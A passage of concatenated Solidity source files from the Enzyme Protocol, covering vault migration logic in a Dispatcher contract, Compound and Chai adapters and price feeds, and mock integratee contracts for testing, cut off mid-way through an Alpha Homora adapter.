MigrationRequest memory request = vaultProxyToMigrationRequest[_vaultProxy];
address nextFundDeployer = request.nextFundDeployer;
require(nextFundDeployer != address(0), "cancelMigration: No migration request exists");
// TODO: confirm that if canMigrate() does not exist but the caller is a valid FundDeployer, this still works.
require(
msg.sender == nextFundDeployer || IMigratableVault(_vaultProxy).canMigrate(msg.sender),
"cancelMigration: Not an allowed caller"
);
address prevFundDeployer = vaultProxyToFundDeployer[_vaultProxy];
address nextVaultAccessor = request.nextVaultAccessor;
address nextVaultLib = request.nextVaultLib;
uint256 executableTimestamp = request.executableTimestamp;
delete vaultProxyToMigrationRequest[_vaultProxy];
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PostCancel,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
__invokeMigrationInCancelHook(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
emit MigrationCancelled(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
executableTimestamp
);
}
/// @notice Executes a pending migration request
/// @param _vaultProxy The VaultProxy contract for which to execute the migration request
/// @param _bypassFailure True if a failure in either migration hook should be ignored
function executeMigration(address _vaultProxy, bool _bypassFailure) external override {
MigrationRequest memory request = vaultProxyToMigrationRequest[_vaultProxy];
address nextFundDeployer = request.nextFundDeployer;
require(
nextFundDeployer != address(0),
"executeMigration: No migration request exists for _vaultProxy"
);
require(
msg.sender == nextFundDeployer,
"executeMigration: Only the target FundDeployer can call this function"
);
require(
nextFundDeployer == currentFundDeployer,
"executeMigration: The target FundDeployer is no longer the current FundDeployer"
);
uint256 executableTimestamp = request.executableTimestamp;
require(
block.timestamp >= executableTimestamp,
"executeMigration: The migration timelock has not elapsed"
);
address prevFundDeployer = vaultProxyToFundDeployer[_vaultProxy];
address nextVaultAccessor = request.nextVaultAccessor;
address nextVaultLib = request.nextVaultLib;
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PreMigrate,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
// Upgrade the VaultProxy to a new VaultLib and update the accessor via the new VaultLib
IMigratableVault(_vaultProxy).setVaultLib(nextVaultLib);
IMigratableVault(_vaultProxy).setAccessor(nextVaultAccessor);
// Update the FundDeployer that migrated the VaultProxy
vaultProxyToFundDeployer[_vaultProxy] = nextFundDeployer;
// Remove the migration request
delete vaultProxyToMigrationRequest[_vaultProxy];
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PostMigrate,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
_bypassFailure
);
emit MigrationExecuted(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
nextVaultAccessor,
nextVaultLib,
executableTimestamp
);
}
/// @notice Sets a new migration timelock
/// @param _nextTimelock The number of seconds for the new timelock
function setMigrationTimelock(uint256 _nextTimelock) external override onlyOwner {
uint256 prevTimelock = migrationTimelock;
require(
_nextTimelock != prevTimelock,
"setMigrationTimelock: _nextTimelock is the current timelock"
);
migrationTimelock = _nextTimelock;
emit MigrationTimelockSet(prevTimelock, _nextTimelock);
}
/// @notice Signals a migration by creating a migration request
/// @param _vaultProxy The VaultProxy contract for which to signal migration
/// @param _nextVaultAccessor The account that will be the next `accessor` on the VaultProxy
/// @param _nextVaultLib The next VaultLib library contract address to set on the VaultProxy
/// @param _bypassFailure True if a failure in either migration hook should be ignored
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external override onlyCurrentFundDeployer {
require(
__isContract(_nextVaultAccessor),
"signalMigration: Non-contract _nextVaultAccessor"
);
address prevFundDeployer = vaultProxyToFundDeployer[_vaultProxy];
require(prevFundDeployer != address(0), "signalMigration: _vaultProxy does not exist");
address nextFundDeployer = msg.sender;
require(
nextFundDeployer != prevFundDeployer,
"signalMigration: Can only migrate to a new FundDeployer"
);
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PreSignal,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib,
_bypassFailure
);
uint256 executableTimestamp = block.timestamp + migrationTimelock;
vaultProxyToMigrationRequest[_vaultProxy] = MigrationRequest({
nextFundDeployer: nextFundDeployer,
nextVaultAccessor: _nextVaultAccessor,
nextVaultLib: _nextVaultLib,
executableTimestamp: executableTimestamp
});
__invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook.PostSignal,
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib,
_bypassFailure
);
emit MigrationSignaled(
_vaultProxy,
prevFundDeployer,
nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib,
executableTimestamp
);
}
/// @dev Helper to invoke a MigrationInCancelHook on the next FundDeployer being "migrated in" to,
/// which can optionally be implemented on the FundDeployer
function __invokeMigrationInCancelHook(
address _vaultProxy,
address _prevFundDeployer,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) private {
(bool success, bytes memory returnData) = _nextFundDeployer.call(
abi.encodeWithSelector(
IMigrationHookHandler.invokeMigrationInCancelHook.selector,
_vaultProxy,
_prevFundDeployer,
_nextVaultAccessor,
_nextVaultLib
)
);
if (!success) {
require(
_bypassFailure,
string(abi.encodePacked("MigrationOutCancelHook: ", returnData))
);
emit MigrationInCancelHookFailed(
returnData,
_vaultProxy,
_prevFundDeployer,
_nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib
);
}
}
/// @dev Helper to invoke a IMigrationHookHandler.MigrationOutHook on the previous FundDeployer being "migrated out" of,
/// which can optionally be implemented on the FundDeployer
function __invokeMigrationOutHook(
IMigrationHookHandler.MigrationOutHook _hook,
address _vaultProxy,
address _prevFundDeployer,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) private {
(bool success, bytes memory returnData) = _prevFundDeployer.call(
abi.encodeWithSelector(
IMigrationHookHandler.invokeMigrationOutHook.selector,
_hook,
_vaultProxy,
_nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib
)
);
if (!success) {
require(
_bypassFailure,
string(abi.encodePacked(__migrationOutHookFailureReasonPrefix(_hook), returnData))
);
emit MigrationOutHookFailed(
returnData,
_hook,
_vaultProxy,
_prevFundDeployer,
_nextFundDeployer,
_nextVaultAccessor,
_nextVaultLib
);
}
}
/// @dev Helper to return a revert reason string prefix for a given MigrationOutHook
function __migrationOutHookFailureReasonPrefix(IMigrationHookHandler.MigrationOutHook _hook)
private
pure
returns (string memory failureReasonPrefix_)
{
if (_hook == IMigrationHookHandler.MigrationOutHook.PreSignal) {
return "MigrationOutHook.PreSignal: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PostSignal) {
return "MigrationOutHook.PostSignal: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PreMigrate) {
return "MigrationOutHook.PreMigrate: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PostMigrate) {
return "MigrationOutHook.PostMigrate: ";
}
if (_hook == IMigrationHookHandler.MigrationOutHook.PostCancel) {
return "MigrationOutHook.PostCancel: ";
}
return "";
}
///////////////////
// STATE GETTERS //
///////////////////
// Provides several potentially helpful getters that are not strictly necessary
/// @notice Gets the current FundDeployer that is allowed to deploy and migrate funds
/// @return currentFundDeployer_ The current FundDeployer contract address
function getCurrentFundDeployer()
external
view
override
returns (address currentFundDeployer_)
{
return currentFundDeployer;
}
/// @notice Gets the FundDeployer with which a given VaultProxy is associated
/// @param _vaultProxy The VaultProxy instance
/// @return fundDeployer_ The FundDeployer contract address
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
override
returns (address fundDeployer_)
{
return vaultProxyToFundDeployer[_vaultProxy];
}
/// @notice Gets the details of a pending migration request for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return nextFundDeployer_ The FundDeployer contract address from which the migration
/// request was made
/// @return nextVaultAccessor_ The account that will be the next `accessor` on the VaultProxy
/// @return nextVaultLib_ The next VaultLib library contract address to set on the VaultProxy
/// @return executableTimestamp_ The timestamp at which the migration request can be executed
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
override
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
)
{
MigrationRequest memory r = vaultProxyToMigrationRequest[_vaultProxy];
if (r.executableTimestamp > 0) {
return (
r.nextFundDeployer,
r.nextVaultAccessor,
r.nextVaultLib,
r.executableTimestamp
);
}
}
/// @notice Gets the amount of time that must pass between signaling and executing a migration
/// @return migrationTimelock_ The timelock value (in seconds)
function getMigrationTimelock() external view override returns (uint256 migrationTimelock_) {
return migrationTimelock;
}
/// @notice Gets the account that is nominated to be the next owner of this contract
/// @return nominatedOwner_ The account that is nominated to be the owner
function getNominatedOwner() external view override returns (address nominatedOwner_) {
return nominatedOwner;
}
/// @notice Gets the owner of this contract
/// @return owner_ The account that is the owner
function getOwner() external view override returns (address owner_) {
return owner;
}
/// @notice Gets the shares token `symbol` value for use in VaultProxy instances
/// @return sharesTokenSymbol_ The `symbol` value
function getSharesTokenSymbol()
external
view
override
returns (string memory sharesTokenSymbol_)
{
return sharesTokenSymbol;
}
/// @notice Gets the time remaining until the migration request of a given VaultProxy can be executed
/// @param _vaultProxy The VaultProxy instance
/// @return secondsRemaining_ The number of seconds remaining on the timelock
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
override
returns (uint256 secondsRemaining_)
{
uint256 executableTimestamp = vaultProxyToMigrationRequest[_vaultProxy]
.executableTimestamp;
if (executableTimestamp == 0) {
return 0;
}
if (block.timestamp >= executableTimestamp) {
return 0;
}
return executableTimestamp - block.timestamp;
}
/// @notice Checks whether a migration request that is executable exists for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return hasExecutableRequest_ True if a migration request exists and is executable
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
override
returns (bool hasExecutableRequest_)
{
uint256 executableTimestamp = vaultProxyToMigrationRequest[_vaultProxy]
.executableTimestamp;
return executableTimestamp > 0 && block.timestamp >= executableTimestamp;
}
/// @notice Checks whether a migration request exists for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return hasMigrationRequest_ True if a migration request exists
function hasMigrationRequest(address _vaultProxy)
external
view
override
returns (bool hasMigrationRequest_)
{
return vaultProxyToMigrationRequest[_vaultProxy].executableTimestamp > 0;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../persistent/vault/VaultLibBaseCore.sol";
/// @title MockVaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mock VaultLib implementation that only extends VaultLibBaseCore
contract MockVaultLib is VaultLibBaseCore {
function getAccessor() external view returns (address) {
return accessor;
}
function getCreator() external view returns (address) {
return creator;
}
function getMigrator() external view returns (address) {
return migrator;
}
function getOwner() external view returns (address) {
return owner;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title ICERC20 Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for interactions with Compound tokens (cTokens)
interface ICERC20 is IERC20 {
function decimals() external view returns (uint8);
function mint(uint256) external returns (uint256);
function redeem(uint256) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function underlying() external returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/ICERC20.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../IDerivativePriceFeed.sol";
/// @title CompoundPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Compound Tokens (cTokens)
contract CompoundPriceFeed is IDerivativePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event CTokenAdded(address indexed cToken, address indexed token);
uint256 private constant CTOKEN_RATE_DIVISOR = 10**18;
mapping(address => address) private cTokenToToken;
constructor(
address _dispatcher,
address _weth,
address _ceth,
address[] memory cERC20Tokens
) public DispatcherOwnerMixin(_dispatcher) {
// Set cEth
cTokenToToken[_ceth] = _weth;
emit CTokenAdded(_ceth, _weth);
// Set any other cTokens
if (cERC20Tokens.length > 0) {
__addCERC20Tokens(cERC20Tokens);
}
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
underlyings_ = new address[](1);
underlyings_[0] = cTokenToToken[_derivative];
require(underlyings_[0] != address(0), "calcUnderlyingValues: Unsupported derivative");
underlyingAmounts_ = new uint256[](1);
// Returns a rate scaled to 10^18
underlyingAmounts_[0] = _derivativeAmount
.mul(ICERC20(_derivative).exchangeRateStored())
.div(CTOKEN_RATE_DIVISOR);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return cTokenToToken[_asset] != address(0);
}
//////////////////////
// CTOKENS REGISTRY //
//////////////////////
/// @notice Adds cTokens to the price feed
/// @param _cTokens cTokens to add
/// @dev Only allows CERC20 tokens. CEther is set in the constructor.
function addCTokens(address[] calldata _cTokens) external onlyDispatcherOwner {
__addCERC20Tokens(_cTokens);
}
/// @dev Helper to add cTokens
function __addCERC20Tokens(address[] memory _cTokens) private {
require(_cTokens.length > 0, "__addCTokens: Empty _cTokens");
for (uint256 i; i < _cTokens.length; i++) {
require(cTokenToToken[_cTokens[i]] == address(0), "__addCTokens: Value already set");
address token = ICERC20(_cTokens[i]).underlying();
cTokenToToken[_cTokens[i]] = token;
emit CTokenAdded(_cTokens[i], token);
}
}
////////////////////
// STATE GETTERS //
///////////////////
/// @notice Returns the underlying asset of a given cToken
/// @param _cToken The cToken for which to get the underlying asset
/// @return token_ The underlying token
function getTokenFromCToken(address _cToken) public view returns (address token_) {
return cTokenToToken[_cToken];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../infrastructure/price-feeds/derivatives/feeds/CompoundPriceFeed.sol";
import "../../../../interfaces/ICERC20.sol";
import "../../../../interfaces/ICEther.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title CompoundAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Compound <https://compound.finance/>
contract CompoundAdapter is AdapterBase {
address private immutable COMPOUND_PRICE_FEED;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _compoundPriceFeed,
address _wethToken
) public AdapterBase(_integrationManager) {
COMPOUND_PRICE_FEED = _compoundPriceFeed;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH during cEther lend/redeem
receive() external payable {}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "COMPOUND";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(address cToken, uint256 tokenAmount, uint256 minCTokenAmount) = __decodeCallArgs(
_encodedCallArgs
);
address token = CompoundPriceFeed(COMPOUND_PRICE_FEED).getTokenFromCToken(cToken);
require(token != address(0), "parseAssetsForMethod: Unsupported cToken");
spendAssets_ = new address[](1);
spendAssets_[0] = token;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = tokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = cToken;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minCTokenAmount;
} else if (_selector == REDEEM_SELECTOR) {
(address cToken, uint256 cTokenAmount, uint256 minTokenAmount) = __decodeCallArgs(
_encodedCallArgs
);
address token = CompoundPriceFeed(COMPOUND_PRICE_FEED).getTokenFromCToken(cToken);
require(token != address(0), "parseAssetsForMethod: Unsupported cToken");
spendAssets_ = new address[](1);
spendAssets_[0] = cToken;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = cTokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = token;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minTokenAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends an amount of a token to Compound
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
// More efficient to parse all from _encodedAssetTransferArgs
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
if (spendAssets[0] == WETH_TOKEN) {
IWETH(WETH_TOKEN).withdraw(spendAssetAmounts[0]);
ICEther(incomingAssets[0]).mint{value: spendAssetAmounts[0]}();
} else {
__approveMaxAsNeeded(spendAssets[0], incomingAssets[0], spendAssetAmounts[0]);
ICERC20(incomingAssets[0]).mint(spendAssetAmounts[0]);
}
}
/// @notice Redeems an amount of cTokens from Compound
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
// More efficient to parse all from _encodedAssetTransferArgs
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
ICERC20(spendAssets[0]).redeem(spendAssetAmounts[0]);
if (incomingAssets[0] == WETH_TOKEN) {
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode callArgs for lend and redeem
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address cToken_,
uint256 outgoingAssetAmount_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `COMPOUND_PRICE_FEED` variable
/// @return compoundPriceFeed_ The `COMPOUND_PRICE_FEED` variable value
function getCompoundPriceFeed() external view returns (address compoundPriceFeed_) {
return COMPOUND_PRICE_FEED;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity ^0.6.12;
/// @title ICEther Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for interactions with Compound Ether
interface ICEther {
function mint() external payable;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title IChai Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for our interactions with the Chai contract
interface IChai is IERC20 {
function exit(address, uint256) external;
function join(address, uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../interfaces/IChai.sol";
import "../utils/AdapterBase.sol";
/// @title ChaiAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Chai <https://github.com/dapphub/chai>
contract ChaiAdapter is AdapterBase {
address private immutable CHAI;
address private immutable DAI;
constructor(
address _integrationManager,
address _chai,
address _dai
) public AdapterBase(_integrationManager) {
CHAI = _chai;
DAI = _dai;
}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "CHAI";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(uint256 daiAmount, uint256 minChaiAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = DAI;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = daiAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = CHAI;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minChaiAmount;
} else if (_selector == REDEEM_SELECTOR) {
(uint256 chaiAmount, uint256 minDaiAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = CHAI;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = chaiAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = DAI;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minDaiAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lend Dai for Chai
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 daiAmount, ) = __decodeCallArgs(_encodedCallArgs);
__approveMaxAsNeeded(DAI, CHAI, daiAmount);
// Execute Lend on Chai
// Chai.join allows specifying the vaultProxy as the destination of Chai tokens
IChai(CHAI).join(_vaultProxy, daiAmount);
}
/// @notice Redeem Chai for Dai
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 chaiAmount, ) = __decodeCallArgs(_encodedCallArgs);
// Execute redeem on Chai
// Chai.exit sends Dai back to the adapter
IChai(CHAI).exit(address(this), chaiAmount);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingAmount_, uint256 minIncomingAmount_)
{
return abi.decode(_encodedCallArgs, (uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `CHAI` variable value
/// @return chai_ The `CHAI` variable value
function getChai() external view returns (address chai_) {
return CHAI;
}
/// @notice Gets the `DAI` variable value
/// @return dai_ The `DAI` variable value
function getDai() external view returns (address dai_) {
return DAI;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/SwapperBase.sol";
contract MockGenericIntegratee is SwapperBase {
function swap(
address[] calldata _assetsToIntegratee,
uint256[] calldata _assetsToIntegrateeAmounts,
address[] calldata _assetsFromIntegratee,
uint256[] calldata _assetsFromIntegrateeAmounts
) external payable {
__swap(
msg.sender,
_assetsToIntegratee,
_assetsToIntegrateeAmounts,
_assetsFromIntegratee,
_assetsFromIntegrateeAmounts
);
}
function swapOnBehalf(
address payable _trader,
address[] calldata _assetsToIntegratee,
uint256[] calldata _assetsToIntegrateeAmounts,
address[] calldata _assetsFromIntegratee,
uint256[] calldata _assetsFromIntegrateeAmounts
) external payable {
__swap(
_trader,
_assetsToIntegratee,
_assetsToIntegrateeAmounts,
_assetsFromIntegratee,
_assetsFromIntegrateeAmounts
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../prices/CentralizedRateProvider.sol";
import "../tokens/MockToken.sol";
import "../utils/SwapperBase.sol";
contract MockChaiIntegratee is MockToken, SwapperBase {
address private immutable CENTRALIZED_RATE_PROVIDER;
address public immutable DAI;
constructor(
address _dai,
address _centralizedRateProvider,
uint8 _decimals
) public MockToken("Chai", "CHAI", _decimals) {
_setupDecimals(_decimals);
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
DAI = _dai;
}
function join(address, uint256 _daiAmount) external {
uint256 tokenDecimals = ERC20(DAI).decimals();
uint256 chaiDecimals = decimals();
// Calculate the amount of tokens per one unit of DAI
uint256 daiPerChaiUnit = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(address(this), 10**uint256(chaiDecimals), DAI);
// Calculate the inverse rate to know the amount of CHAI to return from a unit of DAI
uint256 inverseRate = uint256(10**tokenDecimals).mul(10**uint256(chaiDecimals)).div(
daiPerChaiUnit
);
// Mint and send those CHAI to sender
uint256 destAmount = _daiAmount.mul(inverseRate).div(10**tokenDecimals);
_mint(address(this), destAmount);
__swapAssets(msg.sender, DAI, _daiAmount, address(this), destAmount);
}
function exit(address payable _trader, uint256 _chaiAmount) external {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
address(this),
_chaiAmount,
DAI
);
// Burn CHAI of the trader.
_burn(_trader, _chaiAmount);
// Release DAI to the trader.
ERC20(DAI).transfer(msg.sender, destAmount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../interfaces/IAlphaHomoraV1Bank.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title AlphaHomoraV1Adapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Alpha Homora v1 <https://alphafinance.io/>
contract AlphaHomoraV1Adapter is AdapterBase {
address private immutable IBETH_TOKEN;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _ibethToken,
address _wethToken
) public AdapterBase(_integrationManager) {
IBETH_TOKEN = _ibethToken;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH during redemption
receive() external payable {}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "ALPHA_HOMORA_V1";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
